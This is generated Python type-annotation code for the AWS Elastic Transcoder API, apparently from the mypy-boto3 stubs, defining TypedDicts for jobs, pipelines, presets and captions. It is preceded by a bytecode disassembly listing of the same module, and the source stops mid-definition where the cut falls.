BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME JobWatermarkTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME JobAlbumArtTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME ClipTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME CaptionsTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Id', 'Key', 'ThumbnailPattern', 'ThumbnailEncryption', 'Rotate', 'PresetId', 'SegmentDuration', 'Status', 'StatusDetail', 'Duration', 'Width', 'Height', 'FrameRate', 'FileSize', 'DurationMillis', 'Watermarks', 'AlbumArt', 'Composition', 'Captions', 'Encryption', 'AppliedColorSpaceConversion') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME JobOutputTypeDef LOAD_NAME TypedDict LOAD_CONST 'JobInputPaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME TimeSpanTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME InputCaptionsPaginatorTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME DetectedPropertiesTypeDef BINARY_SUBSCR LOAD_CONST ('Key', 'FrameRate', 'Resolution', 'AspectRatio', 'Interlaced', 'Container', 'Encryption', 'TimeSpan', 'InputCaptions', 'DetectedProperties') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME JobInputPaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'JobInputTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME EncryptionTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME TimeSpanTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME InputCaptionsTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME DetectedPropertiesTypeDef BINARY_SUBSCR LOAD_CONST ('Key', 'FrameRate', 'Resolution', 'AspectRatio', 'Interlaced', 'Container', 'Encryption', 'TimeSpan', 'InputCaptions', 'DetectedProperties') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME JobInputTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListPipelinesResponsePaginatorTypeDef' LOAD_NAME List LOAD_NAME PipelinePaginatorTypeDef BINARY_SUBSCR LOAD_NAME str LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Pipelines', 'NextPageToken', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListPipelinesResponsePaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'CreatePipelineResponseTypeDef' LOAD_NAME PipelineTypeDef LOAD_NAME List LOAD_NAME WarningTypeDef BINARY_SUBSCR LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Pipeline', 'Warnings', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CreatePipelineResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListPipelinesResponseTypeDef' LOAD_NAME List LOAD_NAME PipelineTypeDef BINARY_SUBSCR LOAD_NAME str LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Pipelines', 'NextPageToken', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListPipelinesResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'ReadPipelineResponseTypeDef' LOAD_NAME PipelineTypeDef LOAD_NAME List LOAD_NAME WarningTypeDef BINARY_SUBSCR LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Pipeline', 'Warnings', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ReadPipelineResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'UpdatePipelineNotificationsResponseTypeDef' LOAD_NAME PipelineTypeDef LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Pipeline', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME UpdatePipelineNotificationsResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'UpdatePipelineResponseTypeDef' LOAD_NAME PipelineTypeDef LOAD_NAME List LOAD_NAME WarningTypeDef BINARY_SUBSCR LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Pipeline', 'Warnings', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME UpdatePipelineResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'UpdatePipelineStatusResponseTypeDef' LOAD_NAME PipelineTypeDef LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Pipeline', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME UpdatePipelineStatusResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListPresetsResponsePaginatorTypeDef' LOAD_NAME List LOAD_NAME PresetPaginatorTypeDef BINARY_SUBSCR LOAD_NAME str LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Presets', 'NextPageToken', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListPresetsResponsePaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'CreatePresetResponseTypeDef' LOAD_NAME PresetTypeDef LOAD_NAME str LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Preset', 'Warning', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CreatePresetResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListPresetsResponseTypeDef' LOAD_NAME List LOAD_NAME PresetTypeDef BINARY_SUBSCR LOAD_NAME str LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Presets', 'NextPageToken', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListPresetsResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'ReadPresetResponseTypeDef' LOAD_NAME PresetTypeDef LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Preset', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ReadPresetResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'JobPaginatorTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME JobInputPaginatorTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME JobInputPaginatorTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME JobOutputPaginatorTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME JobOutputPaginatorTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME PlaylistTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME TimingTypeDef BINARY_SUBSCR LOAD_CONST ('Id', 'Arn', 'PipelineId', 'Input', 'Inputs', 'Output', 'Outputs', 'OutputKeyPrefix', 'Playlists', 'Status', 'UserMetadata', 'Timing') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME JobPaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'CreateJobRequestRequestTypeDef' LOAD_NAME str LOAD_NAME NotRequired LOAD_NAME JobInputTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME JobInputTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME CreateJobOutputTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME CreateJobOutputTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Sequence LOAD_NAME CreateJobPlaylistTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Mapping LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('PipelineId', 'Input', 'Inputs', 'Output', 'Outputs', 'OutputKeyPrefix', 'Playlists', 'UserMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CreateJobRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'JobTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME JobInputTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME JobInputTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME JobOutputTypeDef BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME JobOutputTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME List LOAD_NAME PlaylistTypeDef BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME TimingTypeDef BINARY_SUBSCR LOAD_CONST ('Id', 'Arn', 'PipelineId', 'Input', 'Inputs', 'Output', 'Outputs', 'OutputKeyPrefix', 'Playlists', 'Status', 'UserMetadata', 'Timing') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME JobTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListJobsByPipelineResponsePaginatorTypeDef' LOAD_NAME List LOAD_NAME JobPaginatorTypeDef BINARY_SUBSCR LOAD_NAME str LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Jobs', 'NextPageToken', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListJobsByPipelineResponsePaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListJobsByStatusResponsePaginatorTypeDef' LOAD_NAME List LOAD_NAME JobPaginatorTypeDef BINARY_SUBSCR LOAD_NAME str LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Jobs', 'NextPageToken', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListJobsByStatusResponsePaginatorTypeDef LOAD_NAME TypedDict LOAD_CONST 'CreateJobResponseTypeDef' LOAD_NAME JobTypeDef LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Job', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME CreateJobResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListJobsByPipelineResponseTypeDef' LOAD_NAME List LOAD_NAME JobTypeDef BINARY_SUBSCR LOAD_NAME str LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Jobs', 'NextPageToken', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListJobsByPipelineResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListJobsByStatusResponseTypeDef' LOAD_NAME List LOAD_NAME JobTypeDef BINARY_SUBSCR LOAD_NAME str LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Jobs', 'NextPageToken', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListJobsByStatusResponseTypeDef LOAD_NAME TypedDict LOAD_CONST 'ReadJobResponseTypeDef' LOAD_NAME JobTypeDef LOAD_NAME ResponseMetadataTypeDef LOAD_CONST ('Job', 'ResponseMetadata') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ReadJobResponseTypeDef LOAD_CONST None RETURN_VALUE
""" Type annotations for elastictranscoder service type definitions. [Open documentation](https://youtype.github.io/boto3_stubs_docs/mypy_boto3_elastictranscoder/type_defs/) Usage:: ```python from mypy_boto3_elastictranscoder.type_defs import EncryptionTypeDef data: EncryptionTypeDef = ... ``` """ import sys from typing import Dict, List, Mapping, Sequence if sys.version_info >= (3, 12): from typing import NotRequired else: from typing_extensions import NotRequired if sys.version_info >= (3, 12): from typing import TypedDict else: from typing_extensions import TypedDict __all__ = ( "EncryptionTypeDef", "AudioCodecOptionsTypeDef", "CancelJobRequestRequestTypeDef", "TimeSpanTypeDef", "HlsContentProtectionTypeDef", "PlayReadyDrmTypeDef", "ResponseMetadataTypeDef", "NotificationsTypeDef", "WarningTypeDef", "ThumbnailsTypeDef", "DeletePipelineRequestRequestTypeDef", "DeletePresetRequestRequestTypeDef", "DetectedPropertiesTypeDef", "TimingTypeDef", "PaginatorConfigTypeDef", "ListJobsByPipelineRequestRequestTypeDef", "ListJobsByStatusRequestRequestTypeDef", "ListPipelinesRequestRequestTypeDef", "ListPresetsRequestRequestTypeDef", "PermissionPaginatorTypeDef", "PermissionTypeDef", "PresetWatermarkTypeDef", "WaiterConfigTypeDef", "ReadJobRequestRequestTypeDef", "ReadPipelineRequestRequestTypeDef", "ReadPresetRequestRequestTypeDef", "TestRoleRequestRequestTypeDef", "UpdatePipelineStatusRequestRequestTypeDef", "ArtworkTypeDef", "CaptionFormatTypeDef", "CaptionSourceTypeDef", "JobWatermarkTypeDef", "AudioParametersTypeDef", "ClipTypeDef", "CreateJobPlaylistTypeDef", "PlaylistTypeDef", "TestRoleResponseTypeDef", "UpdatePipelineNotificationsRequestRequestTypeDef", "ListJobsByPipelineRequestListJobsByPipelinePaginateTypeDef", "ListJobsByStatusRequestListJobsByStatusPaginateTypeDef", "ListPipelinesRequestListPipelinesPaginateTypeDef", "ListPresetsRequestListPresetsPaginateTypeDef", "PipelineOutputConfigPaginatorTypeDef", "PipelineOutputConfigTypeDef", "VideoParametersPaginatorTypeDef", "VideoParametersTypeDef", "ReadJobRequestJobCompleteWaitTypeDef", "JobAlbumArtPaginatorTypeDef", "JobAlbumArtTypeDef", "CaptionsPaginatorTypeDef", "CaptionsTypeDef", "InputCaptionsPaginatorTypeDef", "InputCaptionsTypeDef", "PipelinePaginatorTypeDef", "CreatePipelineRequestRequestTypeDef", "PipelineTypeDef", "UpdatePipelineRequestRequestTypeDef", "PresetPaginatorTypeDef", "CreatePresetRequestRequestTypeDef", "PresetTypeDef", "JobOutputPaginatorTypeDef", "CreateJobOutputTypeDef", "JobOutputTypeDef", "JobInputPaginatorTypeDef", "JobInputTypeDef", "ListPipelinesResponsePaginatorTypeDef", "CreatePipelineResponseTypeDef", "ListPipelinesResponseTypeDef", "ReadPipelineResponseTypeDef", "UpdatePipelineNotificationsResponseTypeDef", "UpdatePipelineResponseTypeDef", "UpdatePipelineStatusResponseTypeDef", "ListPresetsResponsePaginatorTypeDef", "CreatePresetResponseTypeDef", "ListPresetsResponseTypeDef", "ReadPresetResponseTypeDef", "JobPaginatorTypeDef", "CreateJobRequestRequestTypeDef", "JobTypeDef", "ListJobsByPipelineResponsePaginatorTypeDef", "ListJobsByStatusResponsePaginatorTypeDef", "CreateJobResponseTypeDef", "ListJobsByPipelineResponseTypeDef", "ListJobsByStatusResponseTypeDef", "ReadJobResponseTypeDef", ) EncryptionTypeDef = TypedDict( "EncryptionTypeDef", { "Mode": NotRequired[str], "Key": NotRequired[str], "KeyMd5": NotRequired[str], "InitializationVector": NotRequired[str], }, ) AudioCodecOptionsTypeDef = TypedDict( "AudioCodecOptionsTypeDef", { "Profile": NotRequired[str], "BitDepth": NotRequired[str], "BitOrder": NotRequired[str], "Signed": NotRequired[str], }, ) CancelJobRequestRequestTypeDef = TypedDict( "CancelJobRequestRequestTypeDef", { "Id": str, }, ) TimeSpanTypeDef = TypedDict( "TimeSpanTypeDef", { "StartTime": NotRequired[str], "Duration": NotRequired[str], }, ) HlsContentProtectionTypeDef = TypedDict( "HlsContentProtectionTypeDef", { "Method": NotRequired[str], "Key": NotRequired[str], "KeyMd5": NotRequired[str], "InitializationVector": NotRequired[str], "LicenseAcquisitionUrl": NotRequired[str], "KeyStoragePolicy": NotRequired[str], }, ) PlayReadyDrmTypeDef = TypedDict( "PlayReadyDrmTypeDef", { "Format": NotRequired[str], "Key": NotRequired[str], "KeyMd5": NotRequired[str], "KeyId": NotRequired[str], "InitializationVector": NotRequired[str], "LicenseAcquisitionUrl": NotRequired[str], }, ) ResponseMetadataTypeDef = TypedDict( "ResponseMetadataTypeDef", { "RequestId": str, "HostId": str, "HTTPStatusCode": int, "HTTPHeaders": Dict[str, str], "RetryAttempts": int, }, ) NotificationsTypeDef = TypedDict( "NotificationsTypeDef", { "Progressing": NotRequired[str], "Completed": NotRequired[str], "Warning": NotRequired[str], "Error": NotRequired[str], }, ) WarningTypeDef = TypedDict( "WarningTypeDef", { "Code": NotRequired[str], "Message": NotRequired[str], }, ) ThumbnailsTypeDef = TypedDict( "ThumbnailsTypeDef", { "Format": NotRequired[str], "Interval": NotRequired[str], "Resolution": NotRequired[str], "AspectRatio": NotRequired[str], "MaxWidth": NotRequired[str], "MaxHeight": NotRequired[str], "SizingPolicy": NotRequired[str], "PaddingPolicy": NotRequired[str], }, ) DeletePipelineRequestRequestTypeDef = TypedDict( "DeletePipelineRequestRequestTypeDef", { "Id": str, }, ) DeletePresetRequestRequestTypeDef = TypedDict( "DeletePresetRequestRequestTypeDef", { "Id": str, }, ) DetectedPropertiesTypeDef = TypedDict( "DetectedPropertiesTypeDef", { "Width": NotRequired[int], "Height": NotRequired[int], "FrameRate": NotRequired[str], "FileSize": NotRequired[int], "DurationMillis": NotRequired[int], }, ) TimingTypeDef = TypedDict( "TimingTypeDef", { "SubmitTimeMillis": NotRequired[int], "StartTimeMillis": NotRequired[int], "FinishTimeMillis": NotRequired[int], }, ) PaginatorConfigTypeDef = TypedDict( "PaginatorConfigTypeDef", { "MaxItems": NotRequired[int], "PageSize": NotRequired[int], "StartingToken": NotRequired[str], }, ) ListJobsByPipelineRequestRequestTypeDef = TypedDict( "ListJobsByPipelineRequestRequestTypeDef", { "PipelineId": str, "Ascending": NotRequired[str], "PageToken": NotRequired[str], }, ) ListJobsByStatusRequestRequestTypeDef = TypedDict( "ListJobsByStatusRequestRequestTypeDef", { "Status": str, "Ascending": NotRequired[str], "PageToken": NotRequired[str], }, ) ListPipelinesRequestRequestTypeDef = TypedDict( "ListPipelinesRequestRequestTypeDef", { "Ascending": NotRequired[str], "PageToken": NotRequired[str], }, ) ListPresetsRequestRequestTypeDef = TypedDict( "ListPresetsRequestRequestTypeDef", { "Ascending": NotRequired[str], "PageToken": NotRequired[str], }, ) PermissionPaginatorTypeDef = TypedDict( "PermissionPaginatorTypeDef", { "GranteeType": NotRequired[str], "Grantee": NotRequired[str], "Access": NotRequired[List[str]], }, ) PermissionTypeDef = TypedDict( "PermissionTypeDef", { "GranteeType": NotRequired[str], "Grantee": NotRequired[str], "Access": NotRequired[Sequence[str]], }, ) PresetWatermarkTypeDef = TypedDict( "PresetWatermarkTypeDef", { "Id": NotRequired[str], "MaxWidth": NotRequired[str], "MaxHeight": NotRequired[str], "SizingPolicy": NotRequired[str], "HorizontalAlign": NotRequired[str], "HorizontalOffset": NotRequired[str], "VerticalAlign": NotRequired[str], "VerticalOffset": NotRequired[str], "Opacity": NotRequired[str], "Target": NotRequired[str], }, ) WaiterConfigTypeDef = TypedDict( "WaiterConfigTypeDef", { "Delay": NotRequired[int], "MaxAttempts": NotRequired[int], }, ) ReadJobRequestRequestTypeDef = TypedDict( "ReadJobRequestRequestTypeDef", { "Id": str, }, ) ReadPipelineRequestRequestTypeDef = TypedDict( "ReadPipelineRequestRequestTypeDef", { "Id": str, }, ) ReadPresetRequestRequestTypeDef = TypedDict( "ReadPresetRequestRequestTypeDef", { "Id": str, }, ) TestRoleRequestRequestTypeDef = TypedDict( "TestRoleRequestRequestTypeDef", { "Role": str, "InputBucket": str, "OutputBucket": str, "Topics": Sequence[str], }, ) UpdatePipelineStatusRequestRequestTypeDef = TypedDict( "UpdatePipelineStatusRequestRequestTypeDef", { "Id": str, "Status": str, }, ) ArtworkTypeDef = TypedDict( "ArtworkTypeDef", { "InputKey": NotRequired[str], "MaxWidth": NotRequired[str], "MaxHeight": NotRequired[str], "SizingPolicy": NotRequired[str], "PaddingPolicy": NotRequired[str], "AlbumArtFormat": NotRequired[str], "Encryption": NotRequired[EncryptionTypeDef], }, ) CaptionFormatTypeDef = TypedDict( "CaptionFormatTypeDef", { "Format": NotRequired[str], "Pattern": NotRequired[str], "Encryption": NotRequired[EncryptionTypeDef], }, ) CaptionSourceTypeDef = TypedDict( "CaptionSourceTypeDef", { "Key": NotRequired[str], "Language": NotRequired[str], "TimeOffset": NotRequired[str], "Label": NotRequired[str], "Encryption": NotRequired[EncryptionTypeDef], }, ) JobWatermarkTypeDef = TypedDict( "JobWatermarkTypeDef", { "PresetWatermarkId": NotRequired[str], "InputKey": NotRequired[str], "Encryption": NotRequired[EncryptionTypeDef], }, ) AudioParametersTypeDef = TypedDict( "AudioParametersTypeDef", { "Codec": NotRequired[str], "SampleRate": NotRequired[str], "BitRate": NotRequired[str], "Channels": NotRequired[str], "AudioPackingMode": NotRequired[str], "CodecOptions": NotRequired[AudioCodecOptionsTypeDef], }, ) ClipTypeDef = TypedDict( "ClipTypeDef", { "TimeSpan": NotRequired[TimeSpanTypeDef], }, ) CreateJobPlaylistTypeDef = TypedDict( "CreateJobPlaylistTypeDef", { "Name": NotRequired[str], "Format": NotRequired[str], "OutputKeys": NotRequired[Sequence[str]], "HlsContentProtection": NotRequired[HlsContentProtectionTypeDef], "PlayReadyDrm": NotRequired[PlayReadyDrmTypeDef], }, ) PlaylistTypeDef = TypedDict( "PlaylistTypeDef", { "Name": NotRequired[str], "Format": NotRequired[str], "OutputKeys": NotRequired[List[str]], "HlsContentProtection": NotRequired[HlsContentProtectionTypeDef], "PlayReadyDrm": NotRequired[PlayReadyDrmTypeDef], "Status": NotRequired[str], "StatusDetail": NotRequired[str], }, ) TestRoleResponseTypeDef = TypedDict( "TestRoleResponseTypeDef", { "Success": str, "Messages": List[str], "ResponseMetadata": ResponseMetadataTypeDef, }, ) UpdatePipelineNotificationsRequestRequestTypeDef = TypedDict( "UpdatePipelineNotificationsRequestRequestTypeDef", { "Id": str, "Notifications": NotificationsTypeDef, }, ) ListJobsByPipelineRequestListJobsByPipelinePaginateTypeDef = TypedDict( "ListJobsByPipelineRequestListJobsByPipelinePaginateTypeDef", { "PipelineId": str, "Ascending": NotRequired[str], "PaginationConfig": NotRequired[PaginatorConfigTypeDef], }, ) ListJobsByStatusRequestListJobsByStatusPaginateTypeDef = TypedDict( "ListJobsByStatusRequestListJobsByStatusPaginateTypeDef", { "Status": str, "Ascending": NotRequired[str], "PaginationConfig": NotRequired[PaginatorConfigTypeDef], }, ) ListPipelinesRequestListPipelinesPaginateTypeDef = TypedDict( "ListPipelinesRequestListPipelinesPaginateTypeDef", { "Ascending": NotRequired[str], "PaginationConfig": NotRequired[PaginatorConfigTypeDef], }, ) ListPresetsRequestListPresetsPaginateTypeDef = TypedDict( "ListPresetsRequestListPresetsPaginateTypeDef", { "Ascending": NotRequired[str], "PaginationConfig": NotRequired[PaginatorConfigTypeDef], }, ) PipelineOutputConfigPaginatorTypeDef = TypedDict( "PipelineOutputConfigPaginatorTypeDef", { "Bucket": NotRequired[str], "StorageClass": NotRequired[str], "Permissions": NotRequired[List[PermissionPaginatorTypeDef]], }, ) PipelineOutputConfigTypeDef = TypedDict( "PipelineOutputConfigTypeDef", { "Bucket": NotRequired[str], "StorageClass": NotRequired[str], "Permissions": NotRequired[Sequence[PermissionTypeDef]], }, ) VideoParametersPaginatorTypeDef = TypedDict( "VideoParametersPaginatorTypeDef", { "Codec": NotRequired[str], "CodecOptions": NotRequired[Dict[str, str]], "KeyframesMaxDist": NotRequired[str], "FixedGOP": NotRequired[str], "BitRate": NotRequired[str], "FrameRate": NotRequired[str], "MaxFrameRate": NotRequired[str], "Resolution": NotRequired[str], "AspectRatio": NotRequired[str], "MaxWidth": NotRequired[str], "MaxHeight": NotRequired[str], "DisplayAspectRatio": NotRequired[str], "SizingPolicy": NotRequired[str], "PaddingPolicy": NotRequired[str], "Watermarks": NotRequired[List[PresetWatermarkTypeDef]], }, ) VideoParametersTypeDef = TypedDict( "VideoParametersTypeDef", { "Codec": NotRequired[str], "CodecOptions": NotRequired[Mapping[str, str]], "KeyframesMaxDist": NotRequired[str], "FixedGOP": NotRequired[str], "BitRate": NotRequired[str], "FrameRate": NotRequired[str], "MaxFrameRate": NotRequired[str], "Resolution": NotRequired[str], "AspectRatio": NotRequired[str], "MaxWidth": NotRequired[str], "MaxHeight": NotRequired[str], "DisplayAspectRatio": NotRequired[str], "SizingPolicy": NotRequired[str], "PaddingPolicy": NotRequired[str], "Watermarks": NotRequired[Sequence[PresetWatermarkTypeDef]], }, ) ReadJobRequestJobCompleteWaitTypeDef = TypedDict( "ReadJobRequestJobCompleteWaitTypeDef", { "Id": str, "WaiterConfig": NotRequired[WaiterConfigTypeDef], }, ) JobAlbumArtPaginatorTypeDef = TypedDict( "JobAlbumArtPaginatorTypeDef", { "MergePolicy": NotRequired[str], "Artwork": NotRequired[List[ArtworkTypeDef]], }, ) JobAlbumArtTypeDef = TypedDict( "JobAlbumArtTypeDef", { "MergePolicy": NotRequired[str], "Artwork": NotRequired[Sequence[ArtworkTypeDef]], }, ) CaptionsPaginatorTypeDef = TypedDict( "CaptionsPaginatorTypeDef", { "MergePolicy": NotRequired[str], "CaptionSources": NotRequired[List[CaptionSourceTypeDef]], "CaptionFormats": NotRequired[List[CaptionFormatTypeDef]], }, ) CaptionsTypeDef = TypedDict( "CaptionsTypeDef", { "MergePolicy": NotRequired[str], "CaptionSources": NotRequired[Sequence[CaptionSourceTypeDef]], "CaptionFormats": NotRequired[Sequence[CaptionFormatTypeDef]], }, ) InputCaptionsPaginatorTypeDef = TypedDict( "InputCaptionsPaginatorTypeDef", { "MergePolicy": NotRequired[str], "CaptionSources": NotRequired[List[CaptionSourceTypeDef]], }, ) InputCaptionsTypeDef = TypedDict( "InputCaptionsTypeDef", { "MergePolicy": NotRequired[str], "CaptionSources": NotRequired[Sequence[CaptionSourceTypeDef]], }, ) PipelinePaginatorTypeDef = TypedDict( "PipelinePaginatorTypeDef", { "Id": NotRequired[str], "Arn": NotRequired[str], "Name": NotRequired[str], "Status": NotRequired[str], "InputBucket": NotRequired[str], "OutputBucket": NotRequired[str], "Role": NotRequired[str], "AwsKmsKeyArn": NotRequired[str], "Notifications": NotRequired[NotificationsTypeDef], "ContentConfig": NotRequired[PipelineOutputConfigPaginatorTypeDef], "ThumbnailConfig": NotRequired[PipelineOutputConfigPaginatorTypeDef], }, ) CreatePipelineRequestRequestTypeDef = TypedDict( "CreatePipelineRequestRequestTypeDef", { "Name": str, "InputBucket": str, "Role": str, "OutputBucket": NotRequired[str], "AwsKmsKeyArn": NotRequired[str], "Notifications": NotRequired[NotificationsTypeDef], "ContentConfig": NotRequired[PipelineOutputConfigTypeDef], "ThumbnailConfig": NotRequired[PipelineOutputConfigTypeDef], }, ) PipelineTypeDef = TypedDict( "PipelineTypeDef", { "Id": NotRequired[str], "Arn": NotRequired[str], "Name": NotRequired[str], "Status": NotRequired[str], "InputBucket": NotRequired[str], "OutputBucket": NotRequired[str], "Role": NotRequired[str], "AwsKmsKeyArn": NotRequired[str], "Notifications": NotRequired[NotificationsTypeDef], "ContentConfig": NotRequired[PipelineOutputConfigTypeDef], "ThumbnailConfig": NotRequired[PipelineOutputConfigTypeDef], }, ) UpdatePipelineRequestRequestTypeDef = TypedDict( "UpdatePipelineRequestRequestTypeDef", { "Id": str, "Name": NotRequired[str], "InputBucket": NotRequired[str], "Role": NotRequired[str], "AwsKmsKeyArn": NotRequired[str], "Notifications": NotRequired[NotificationsTypeDef], "ContentConfig": NotRequired[PipelineOutputConfigTypeDef], "ThumbnailConfig": NotRequired[PipelineOutputConfigTypeDef], }, ) PresetPaginatorTypeDef = TypedDict( "PresetPaginatorTypeDef", { "Id": NotRequired[str], "Arn": NotRequired[str], "Name": NotRequired[str], "Description": 